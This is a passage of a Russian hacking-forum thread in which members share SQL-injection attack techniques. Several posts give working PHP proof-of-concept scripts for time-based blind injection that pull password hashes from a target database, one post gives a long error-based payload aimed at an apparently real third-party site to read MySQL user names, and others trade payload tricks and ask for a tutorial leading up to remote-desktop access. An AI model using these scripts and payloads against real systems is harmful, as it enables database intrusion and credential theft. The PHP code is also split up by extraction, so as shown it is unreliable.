ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 30.01.2010, 01:23
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.

Сделал увеличение шага между позициями в дельту (в данном примере 2).
(pastebin)
PHP код:
<?php
$url 
"http://site.ru/news.php?id=1";
$id 0;
function 
testtime($url) {
        
$time time()+microtime();
        
file_get_contents($url);
        return 
time()+microtime()-$time;
}
echo 
"Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
        
$time time()+microtime();
        
file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
        
$res $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
}
echo 
"Hash: ".$res;
?>
Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки...
(pastebin)
PHP код:
<?php
$url 
"http://site.ru/news.php?id=1";
$id 0;
function 
avrg($arr) {
     foreach (
$arr as $val) {
          
$sum+=$val;
     }
     return 
$sum/count($arr);
}
function 
delta($url) {
     
$tests = array();
     for(
$i=0;$i<1;$i++) {
          
$time time()+microtime();
          
file_get_contents("$url+and+sleep(1)");
          
$tests[$i] = time()+microtime()-$time;
     }
     return 
1/avrg($tests);
}
echo 
"Test time: ".$delta=delta($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
     
$time time()+microtime();
     
file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
     
$res $res.$sym[round($delta*(time()+microtime()-$time)/2)];
}
echo 
"Hash: ".$res;
?>

Последний раз редактировалось Root-access; 30.01.2010 в 01:28..
 
Ответить с цитированием

  #32  
Старый 30.01.2010, 13:59
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм?
Pastebin
PHP код:
<?php
$url 
"http://site.ru/news.php?id=1"//URL запроса до "+AND+..."
$id 0//Номер пользователя
$coef 2//Множитель
$try 5//Кол-во проверочных запросов
function avrg($arr) { 
     foreach (
$arr as $val) { 
          
$sum+=$val
     } 
     return 
$sum/count($arr); 

function 
delta($url) { 
     
$tests = array(); 
     for(
$i=0;$i<=$try;$i++) { 
          
$time time()+microtime(); 
          
file_get_contents("$url+and+sleep(1)"); 
          
$tests[$i] = time()+microtime()-$time
     } 
     return 
avrg($tests); 
}
function 
testtime($url) {
        
$time time()+microtime();
        
file_get_contents($url);
        return 
time()+microtime()-$time;
}
$delta round($coef*delta($url));
$testtime=testtime($url);
echo 
"<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>";
echo 
"Request type: $url+and+sleep(substring(version(),1,1))<br>";
echo 
"Test time: $testtime<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
        
$time time()+microtime();
        
file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))");
        
$res $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
}
echo 
"Hash: ".$res;
?>

Последний раз редактировалось Root-access; 02.02.2010 в 14:00..
 
Ответить с цитированием

  #33  
Старый 01.02.2010, 18:35
Аватар для l1ght
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

не актуальный ресерч по методу 12 ошибок.
т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18
если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки
вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z]
Цитата:
http://widener.webstudy.com/doc.php?id=elt(ascii(substring((select user from mysql.user limit 1,1),1,1))-47,(select user-'0'from mysql.user union select 1%0 limit 1),(select user-'1'from mysql.user union select 1%0 limit 1),(select user-'2'from mysql.user union select 1%0 limit 1),(select user-'3'from mysql.user union select 1%0 limit 1),(select user-'4'from mysql.user union select 1%0 limit 1),(select user-'5'from mysql.user union select 1%0 limit 1),(select user-'6'from mysql.user union select 1%0 limit 1),(select user-'7'from mysql.user union select 1%0 limit 1),(select user-'8'from mysql.user union select 1%0 limit 1),(select user-'9'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,1,(select user-'A'from mysql.user union select 1%0 limit 1),(select user-'B'from mysql.user union select 1%0 limit 1),(select user-'C'from mysql.user union select 1%0 limit 1),(select user-'D'from mysql.user union select 1%0 limit 1),(select user-'E'from mysql.user union select 1%0 limit 1),(select user-'F'from mysql.user union select 1%0 limit 1),(select user-'G'from mysql.user union select 1%0 limit 1),(select user-'H'from mysql.user union select 1%0 limit 1),(select user-'I'from mysql.user union select 1%0 limit 1),(select user-'J'from mysql.user union select 1%0 limit 1),(select user-'K'from mysql.user union select 1%0 limit 1),(select user-'L'from mysql.user union select 1%0 limit 1),(select user-'M'from mysql.user union select 1%0 limit 1),(select user-'N'from mysql.user union select 1%0 limit 1),(select user-'O'from mysql.user union select 1%0 limit 1),(select user-'P'from mysql.user union select 1%0 limit 1),(select user-'Q'from mysql.user union select 1%0 limit 1),(select user-'R'from mysql.user union select 1%0 limit 1),(select user-'S'from mysql.user union select 1%0 limit 1),(select user-'T'from mysql.user union select 1%0 limit 1),(select user-'U'from mysql.user union select 1%0 limit 1),(select user-'V'from mysql.user union select 1%0 limit 1),(select user-'W'from mysql.user union select 1%0 limit 1),(select user-'X'from mysql.user union select 1%0 limit 1),(select user-'Y'from mysql.user union select 1%0 limit 1),(select user-'Z'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,(select user-0x61 from mysql.user union select 1%0 limit 1),(select user-0x62 from mysql.user union select 1%0 limit 1),(select user-0x63 from mysql.user union select 1%0 limit 1),(select user-0x64 from mysql.user union select 1%0 limit 1),(select user-0x65 from mysql.user union select 1%0 limit 1),(select user-0x66 from mysql.user union select 1%0 limit 1),(select user-0x67 from mysql.user union select 1%0 limit 1),(select user-0x68 from mysql.user union select 1%0 limit 1),(select user-0x69 from mysql.user union select 1%0 limit 1),(select user-0x6A from mysql.user union select 1%0 limit 1),(select user-0x6B from mysql.user union select 1%0 limit 1),(select user-0x6C from mysql.user union select 1%0 limit 1),(select user-0x6D from mysql.user union select 1%0 limit 1),(select user-0x6E from mysql.user union select 1%0 limit 1),(select user-0x6F from mysql.user union select 1%0 limit 1),(select user-0x70 from mysql.user union select 1%0 limit 1),(select user-0x71 from mysql.user union select 1%0 limit 1),(select user-0x72 from mysql.user union select 1%0 limit 1),(select user-0x73 from mysql.user union select 1%0 limit 1),(select user-0x74 from mysql.user union select 1%0 limit 1),(select user-0x75 from mysql.user union select 1%0 limit 1),(select user-0x76 from mysql.user union select 1%0 limit 1),(select user-0x77 from mysql.user union select 1%0 limit 1),(select user-0x78 from mysql.user union select 1%0 limit 1),(select user-0x79 from mysql.user union select 1%0 limit 1),(select user-0x7A from mysql.user union select 1%0 limit 1))
Column 'user-0x72' cannot be null, 0x72 = r (root)
т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt)
итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #34  
Старый 29.04.2010, 23:15
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию

Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const

Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему).
Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const
и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп.
Имеется ввиду тока эти два метода вывода через ошибок.

Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут.

PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило
 
Ответить с цитированием

  #35  
Старый 13.06.2010, 20:50
Аватар для BlackFan
BlackFan
Новичок
Регистрация: 03.01.2009
Сообщений: 27
Провел на форуме:
367442

Репутация: 41
По умолчанию

Малюсенькое дополнение по error based инъекциям на основе rand.

Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26).

На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие )

Последний раз редактировалось BlackFan; 14.06.2010 в 19:43..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ